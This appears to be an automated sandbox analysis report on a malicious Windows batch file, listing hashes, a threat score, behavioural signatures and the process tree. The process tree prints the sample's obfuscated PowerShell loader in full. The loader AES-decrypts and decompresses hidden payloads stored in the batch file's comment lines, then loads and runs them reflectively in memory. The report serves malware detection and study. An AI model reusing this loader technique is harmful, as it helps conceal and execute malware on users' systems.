Analysis
- max time kernel
16s - max time network
16s - platform
windows7_x64 - resource
win7-20240708-en - resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system - submitted
22/08/2024, 10:37
Static task
static1
Behavioral task
behavioral1
Sample
081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat
Resource
win7-20240708-en
4 signatures
150 seconds
General
- Target 081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat
- Size 3.4MB
- Sample240822-mn2ynssbqa
- SHA256 081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39
- MD5 e0b49da0d96e8c5214e9276be383177c
- SHA1 acc2c37d489134c2186e95efaf7d3ea768a226f5
- SHA512 b34944610642622ed45b1b09b4281e6d4b2f160c3b988aec2c254e2860cc1e5e40d6430057ea61fa323c8d99a32caeab50404c1d10baeb9a3b4bd12e6c068cee
- SSDEEP 49152:iPZ9h8UbMrOvMl2axWm2aPRlAYydkm6uOwIM0A8Dqpb:C
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2244 powershell.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2244 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2244 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 292 wrote to memory of 2880 292 cmd.exe 29 PID 292 wrote to memory of 2880 292 cmd.exe 29 PID 292 wrote to memory of 2880 292 cmd.exe 29 PID 292 wrote to memory of 2244 292 cmd.exe 30 PID 292 wrote to memory of 2244 292 cmd.exe 30 PID 292 wrote to memory of 2244 292 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function krvoX($qfUzb){ $mgPVz=[System.Security.Cryptography.Aes]::Create(); $mgPVz.Mode=[System.Security.Cryptography.CipherMode]::CBC; $mgPVz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $mgPVz.Key=[System.Convert]::FromBase64String('xRkMWAT1uldEXK+LHs8FgxSd3tjb0CDR/qmLOT+Eew4='); $mgPVz.IV=[System.Convert]::FromBase64String('RdAogkuv6cVOJVqYg0tlnA=='); $KTEGP=$mgPVz.CreateDecryptor(); $PBmwa=$KTEGP.TransformFinalBlock($qfUzb, 0, $qfUzb.Length); $KTEGP.Dispose(); $mgPVz.Dispose(); $PBmwa;}function XUcba($qfUzb){ IEX '$ZRxrm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$qfUzb);'.Replace('*', ''); IEX '$kyGQg=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$jJBpR=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($ZRxrm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $jJBpR.CopyTo($kyGQg); $jJBpR.Dispose(); $ZRxrm.Dispose(); $kyGQg.Dispose(); $kyGQg.ToArray();}function dJKqw($qfUzb,$zcLjt){ IEX '$apikB=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$qfUzb);'.Replace('*', ''); IEX '$ybXvp=$apikB.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$ybXvp.*I*n*v*o*k*e*($null, $zcLjt);'.Replace('*', '');}$kzvdP = 'C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat';$host.UI.RawUI.WindowTitle = $kzvdP;$GYDJk=[System.IO.File]::ReadAllText($kzvdP).Split([Environment]::NewLine);foreach ($FUbJH in $GYDJk) { if ($FUbJH.StartsWith(':: ')) { $GufiU=$FUbJH.Substring(3); break; }}$zAGQw=[string[]]$GufiU.Split('\');IEX '$iNocK=XUcba (krvoX ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($zAGQw[0])));'.Replace('*', '');IEX '$VsMSG=XUcba (krvoX ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($zAGQw[1])));'.Replace('*', '');dJKqw $iNocK $null;dJKqw $VsMSG (,[string[]] ('')); "2⤵PID:2880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2244
-